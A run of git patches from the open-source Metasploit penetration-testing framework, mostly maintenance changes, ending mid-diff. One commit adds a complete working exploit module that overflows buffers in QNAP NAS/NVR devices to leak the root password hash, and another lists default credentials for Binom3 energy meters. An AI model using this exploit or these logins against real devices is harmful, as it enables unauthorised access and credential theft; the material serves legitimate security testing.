b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index 373922133a..a3ac4f3342 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 8741273ee4..2a453e4651 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index f1f6199933..677ab83852 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => ['win'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 99c952ef24..1def1adc90 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'process' }, 'Payload' => diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index 42ab69a938..9c6d3dcffb 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 6975c8e264..1bd28765a2 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index ebf8b5f23c..3dd0997aaa 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 7eb98360a0..20b75e5f6b 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index dc3b814a0a..95f61cef26 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 9461c4b2e5..b956075708 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index d416fd0189..cf80ea00a2 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 9da0341ab1..cdf1c9f123 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index d7ddb592f7..7d1fce97df 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { From 70f7dccf62c204ccd29513da6306765a85223f68 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Feb 2017 17:11:08 -0600 Subject: [PATCH 235/426] copy and paste fail --- modules/exploits/windows/fileformat/adobe_libtiff.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index 0d7ef090e8..1382f09a30 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -1,4 +1,4 @@ -post/windows/manage/priv_migrate## +## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 1f3de5d9582dfe4852eb486b151d75859b988546 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Thu, 23 Feb 2017 18:14:36 -0600 Subject: [PATCH 236/426] ensure scan is settled before delete --- plugins/nexpose.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 60d4537c77..e07f902767 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -583,6 +583,12 @@ class Plugin::Nexpose < Msf::Plugin end if ! opt_preserve + # Make sure the scan has finished clean up before attempting to delete the site + while (true) + info = @nsc.scan_statistics(sid) + break if info.status == 'stopped' || info.status == 'finished' + select(nil, nil, nil, 5.0) + end print_status(" >> Deleting the temporary site and report...") if opt_verbose begin @nsc.delete_site(site.id) From 43550b8cdf243988954f9f6a8ae3e0196ba00653 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Thu, 23 Feb 2017 19:55:23 -0500 Subject: [PATCH 237/426] fixing line length --- .../scanner/http/binom3_login_config_pass_dump.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb index c4c3d0717b..f07ad9bb96 100644 --- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -15,7 +15,12 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump', 'Description' => %{ - This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. + This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer + management login portal(s), and attempts to identify valid credentials. + There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. + In addition to device config, 'root' user can also access password file. + Other users - admin, alg, user - can only access configuration file. + The module attempts to download configuration and password files depending on the login user credentials found. }, 'References' => [ From 0f4e03be7b0e9e61460e94ea3ada7bf7747d8369 Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Fri, 24 Feb 2017 10:03:33 -0800 Subject: [PATCH 238/426] Bump version of framework to 4.13.27 --- Gemfile.lock | 10 +++++----- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 931a6b4ff2..7276e36f51 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.26) + metasploit-framework (4.13.27) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -113,7 +113,7 @@ GEM childprocess (0.5.9) ffi (~> 1.0, >= 1.0.11) coderay (1.1.1) - contracts (0.14.0) + contracts (0.15.0) cucumber (2.4.0) builder (>= 2.1.2) cucumber-core (~> 1.5.0) @@ -145,7 +145,7 @@ GEM filesize (0.1.1) fivemat (1.3.2) gherkin (4.0.0) - i18n (0.8.0) + i18n (0.8.1) jsobfu (0.4.2) rkelly-remix json (2.0.3) @@ -315,7 +315,7 @@ GEM sqlite3 (1.3.13) sshkey (1.9.0) thor (0.19.4) - thread_safe (0.3.5) + thread_safe (0.3.6) timecop (0.8.1) tzinfo (1.2.2) thread_safe (~> 0.1) @@ -346,4 +346,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.4 + 1.14.5 diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 84ac6aa7f1..fc429753e5 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.26" + VERSION = "4.13.27" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From e5d0370a949d940e75e0b9fda078d2bcf5589ffb Mon Sep 17 00:00:00 2001 From: Pearce Barry <pearce_barry@rapid7.com> Date: Tue, 21 Feb 2017 15:05:20 -0600 Subject: [PATCH 239/426] Fixes MS-1716, keep sessions in progress alive. --- lib/rex/post/meterpreter/packet_dispatcher.rb | 46 +++++++++++++------ lib/rex/post/meterpreter/packet_parser.rb | 21 +++++---- .../meterpreter/packet_response_waiter.rb | 27 ++++++++--- .../post/meterpreter/packet_parser_spec.rb | 3 +- 4 files changed, 69 insertions(+), 28 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cb4a95702b..21bd21ac35 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -284,6 +284,20 @@ module PacketDispatcher # Reception # ## + + # + # Simple class to track packets and if they are in-progress or complete. + # + class QueuedPacket + attr_reader :packet + attr_reader :in_progress + + def initialize(packet, in_progress) + @packet = packet + @in_progress = in_progress + end + end + # # Monitors the PacketDispatcher's sock for data in its own # thread context and parsers all inbound packets. @@ -306,8 +320,8 @@ module PacketDispatcher begin rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, PING_TIME) if rv - packet = receive_packet - @pqueue << packet if packet + packet, in_progress = receive_packet + @pqueue << QueuedPacket.new(packet, in_progress) elsif self.send_keepalives && @pqueue.empty? keepalive end @@ -342,11 +356,11 @@ module PacketDispatcher tmp_channel = [] tmp_close = [] backlog.each do |pkt| - if(pkt.response?) + if(pkt.packet.response?) tmp_command << pkt next end - if(pkt.method == "core_channel_close") + if(pkt.packet.method == "core_channel_close") tmp_close << pkt next end @@ -365,7 +379,7 @@ module PacketDispatcher backlog.each do |pkt| begin - if ! dispatch_inbound_packet(pkt) + if ! dispatch_inbound_packet(pkt.packet, pkt.in_progress) # Keep Packets in the receive queue until a handler is registered # for them. Packets will live in the receive queue for up to # PACKET_TIMEOUT seconds, after which they will be dropped. @@ -373,13 +387,15 @@ module PacketDispatcher # A common reason why there would not immediately be a handler for # a received Packet is in channels, where a connection may # open and receive data before anything has asked to read. - if (::Time.now.to_i - pkt.created_at.to_i < PACKET_TIMEOUT) + # + # Also, don't bother saving incomplete packets if we have no handler. + if (!pkt.in_progress and ::Time.now.to_i - pkt.packet.created_at.to_i < PACKET_TIMEOUT) incomplete << pkt end end rescue ::Exception => e - dlog("Dispatching exception with packet #{pkt}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) + dlog("Dispatching exception with packet #{pkt.packet}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) end end @@ -459,12 +475,16 @@ module PacketDispatcher # Notifies a whomever is waiting for a the supplied response, # if anyone. # - def notify_response_waiter(response) + # For not-yet-complete responses, we might not be able to determine + # the response ID, in that case just let all waiters know that some + # responses are trickling in. + # + def notify_response_waiter(response, in_progress=false) handled = false self.waiters.each() { |waiter| - if (waiter.waiting_for?(response)) - waiter.notify(response) - remove_response_waiter(waiter) + if (in_progress || waiter.waiting_for?(response)) + waiter.notify(response, in_progress) + remove_response_waiter(waiter) unless in_progress handled = true break end @@ -498,7 +518,7 @@ module PacketDispatcher # Otherwise, the packet is passed onto any registered dispatch # handlers until one returns success. # - def dispatch_inbound_packet(packet) + def dispatch_inbound_packet(packet, in_progress=false) handled = false # Update our last reply time @@ -507,7 +527,7 @@ module PacketDispatcher # If the packet is a response, try to notify any potential # waiters if packet.response? - if (notify_response_waiter(packet)) + if (notify_response_waiter(packet, in_progress)) return true end end diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 5b33c7b7c5..4575381790 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -75,22 +75,27 @@ class PacketParser end end + in_progress = true + + # TODO: cipher decryption + if (cipher) + end + + # Deserialize the packet from the raw buffer + packet.from_r(self.raw) + # If we've finished reading the entire packet if ((self.hdr_length_left == 0) && (self.payload_length_left == 0)) - # TODO: cipher decryption - if (cipher) - end - - # Deserialize the packet from the raw buffer - packet.from_r(self.raw) - # Reset our state reset - return packet + # packet is complete! + in_progress = false end + + return packet, in_progress end protected diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 5f2f1557d7..637e1b9a95 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -39,6 +39,9 @@ class PacketResponseWaiter # @return [Integer] request ID to wait for attr_accessor :rid + # @return [Boolean] indicates if part of the response has been received + attr_accessor :in_progress + # # Initializes a response waiter instance for the supplied request # identifier. @@ -46,6 +49,7 @@ class PacketResponseWaiter def initialize(rid, completion_routine = nil, completion_param = nil) self.rid = rid.dup self.response = nil + self.in_progress = false if (completion_routine) self.completion_routine = completion_routine @@ -69,14 +73,21 @@ class PacketResponseWaiter # # @param response [Packet] # @return [void] - def notify(response) + def notify(response, in_progress = false) if (self.completion_routine) - self.response = response - self.completion_routine.call(response, self.completion_param) + self.in_progress = in_progress + unless in_progress + self.response = response + self.completion_routine.call(response, self.completion_param) + end else self.mutex.synchronize do - self.response = response - self.cond.signal + self.in_progress = in_progress + unless in_progress + # complete packet, ready for processing... + self.response = response + self.cond.signal + end end end end @@ -92,7 +103,11 @@ class PacketResponseWaiter interval = nil if interval and interval == -1 self.mutex.synchronize do if self.response.nil? - self.cond.wait(self.mutex, interval) + loop do + self.cond.wait(self.mutex, interval) + break unless self.in_progress + self.in_progress = false + end end end return self.response diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 1497ebaa9e..22f38ffc5f 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -26,11 +26,12 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do it "should parse valid raw data into a packet object" do while @raw.length >0 - parsed_packet = parser.recv(@sock) + parsed_packet, in_progress = parser.recv(@sock) end expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST expect(parsed_packet.method?("test_method")).to eq true + expect(in_progress).to eq false end end From a954521d75bf50723978744a64b01f0f2993ae7e Mon Sep 17 00:00:00 2001 From: Jeffrey Martin <Jeffrey_Martin@rapid7.com> Date: Fri, 24 Feb 2017 15:07:07 -0600 Subject: [PATCH 240/426] bump minor version --- lib/metasploit/framework/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index fc429753e5..912f55a7bb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.27" + VERSION = "4.14.0" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From f9e4fd54fe7080d57b359cf1489750e13ed4739b Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Fri, 24 Feb 2017 13:31:17 -0800 Subject: [PATCH 241/426] Bump version of framework to 4.14.1 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index f59b1bc3b5..44ff27765a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.27) + metasploit-framework (4.14.1) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 912f55a7bb..f697dbf279 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.0" + VERSION = "4.14.1" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 634753f985b033f93fa31881d75cbcd34cef74f6 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Tue, 14 Feb 2017 03:37:22 -0600 Subject: [PATCH 242/426] Add QNAP admin hash "disclosure" --- .../gather/qnap_backtrace_admin_hash.rb | 218 ++++++++++++++++++ 1 file changed, 218 insertions(+) create mode 100644 modules/auxiliary/gather/qnap_backtrace_admin_hash.rb diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb new file mode 100644 index 0000000000..0cfab0eed1 --- /dev/null +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -0,0 +1,218 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure', + 'Description' => %q{ + This module exploits combined heap and stack buffer overflows for QNAP + NAS and NVR devices to dump the admin (root) shadow hash from memory via + an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace. + + A binary search is performed to find the correct offset for the BOFs. + Since the server forks, blind remote exploitation is possible, provided + the heap does not have ASLR. + + Note: you may need to bump RETRIES (default is 0) if the attack fails. + }, + 'Author' => [ + 'bashis', # Vuln/PoC + 'wvu', # Module + 'Donald Knuth' # Algorithm + ], + 'References' => [ + ['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'], + ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'] + ], + 'DisclosureDate' => 'Jan 31 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Automatic', 'Description' => 'Automatic targeting'], + ['x86', 'Description' => 'x86 target', offset: 0x16b2], + ['ARM', 'Description' => 'ARM target', offset: 0x1562] + ], + 'DefaultAction' => 'Automatic' + )) + + register_options([ + OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]), + OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]), + OptInt.new('RETRIES', [true, 'Retry count for the attack', 0]) + ]) + + register_advanced_options([ + OptBool.new('DEBEUG', [false, 'Print debugging messages', false]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/authLogin.cgi' + ) + + if res && res.code == 200 && (xml = res.get_xml_document) + info = [] + + %w{modelName version build patch}.each do |node| + info << xml.at("//#{node}").text + end + + @target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM') + + vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected") + + Exploit::CheckCode::Detected + else + Exploit::CheckCode::Safe + end + end + + def run + if check == Exploit::CheckCode::Safe + print_error('Device does not appear to be a QNAP') + return + end + + admin_hash = nil + + (0..datastore['RETRIES']).each do |attempt| + vprint_status("Retry #{attempt} in progress") if attempt > 0 + break if (admin_hash = dump_hash) + end + + if admin_hash + print_good("Hopefully this is your hash: #{admin_hash}") + report_note( + host: rhost, + port: rport, + type: 'qnap.admin.hash', + data: admin_hash + ) + else + print_error('Looks like we didn\'t find the hash :(') + end + + vprint_status("#{@cnt} HTTP requests were sent during module run") + end + + def dump_hash + l = datastore['OFFSET_START'] + r = datastore['OFFSET_END'] + + start = Time.now + t = binsearch(l, r) + stop = Time.now + + time = stop - start + vprint_status("Binary search of #{l}-#{r} completed in #{time}s") + + if action.name == 'Automatic' + target = actions.find do |tgt| + tgt.name == @target + end + else + target = action + end + + return if t.nil? || @offset.nil? || target.nil? + + offset = @offset - target[:offset] + + find_hash(t, offset) + end + + def find_hash(t, offset) + admin_hash = nil + + # Off by one or two... + 2.times do + t += 1 + + if (res = send_request(t, [offset].pack('V'))) + if (backtrace = find_backtrace(res)) + token = backtrace[0].split[4] + end + end + + if token && token.start_with?('$1$') + admin_hash = token + addr = "0x#{offset.to_s(16)}" + vprint_status("Admin hash found at #{addr} with offset #{t}") + break + end + end + + admin_hash + end + + # Shamelessly stolen from Knuth + def binsearch(l, r) + return if l > r + + @m = ((l + r) / 2).floor + + res = send_request(@m) + + return if res.nil? + + if find_backtrace(res) + l = @m + 1 + else + r = @m - 1 + end + + binsearch(l, r) + + @m + end + + def send_request(m, ret = nil) + @cnt = @cnt.to_i + 1 + + print_debeug(m) + + payload = Rex::Text.encode_base64( + Rex::Text.rand_text(1) * m + + (ret ? ret : Rex::Text.rand_text(4)) + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/cgi.cgi', + #'vhost' => 'Q', + 'vars_get' => { + 'u' => 'admin', + 'p' => payload + } + ) + + if res + print_debeug(res.request) + print_debeug(res.headers) + end + + res + end + + def find_backtrace(res) + res.headers.find do |name, val| + if name.include?('glibc detected') + @offset = val.split[-2].to_i(16) + end + end + end + + def print_debeug(msg = '') + if datastore['DEBEUG'] + print_line("%bld%cya[!]%clr #{msg}") + end + end + +end From adcb65c66b3047f66c9e3ebcadc640dfe4cc512f Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Fri, 24 Feb 2017 20:15:50 -0600 Subject: [PATCH 243/426] Update gemspec file to use metasploit-payloads 1.2.15 per payloads PR#171 --- metasploit-framework.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 47459a6a3a..b3691681fb 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.14' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.15' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components From 15af90c0117d0eacddff3bf079d741a006bfbef3 Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Fri, 24 Feb 2017 20:22:27 -0600 Subject: [PATCH 244/426] payload cache size change --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index a3fcc1aa9c..639a5100f6 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51794 + CachedSize = 53178 include Msf::Payload::Single include Msf::Payload::Python From 493f17761bb8dd5922f04e0c78c08406e57be856 Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Fri, 24 Feb 2017 20:23:34 -0600 Subject: [PATCH 245/426] payload cache size change- all together, now --- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index cd25b0ac8f..f1676e35df 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51758 + CachedSize = 53142 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 43e6c7353c..2378f4e7a5 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51758 + CachedSize = 53142 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 6f208583f8..0aa4f083af 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51714 + CachedSize = 53098 include Msf::Payload::Single include Msf::Payload::Python From 1e28e2b2c77e70f076ac56c4e57b87d53bec1730 Mon Sep 17 00:00:00 2001 From: bwatters-r7 <bwatters@rapid7.com> Date: Fri, 24 Feb 2017 20:43:13 -0600 Subject: [PATCH 246/426] Cache sizes again... --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 639a5100f6..97facf0f25 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 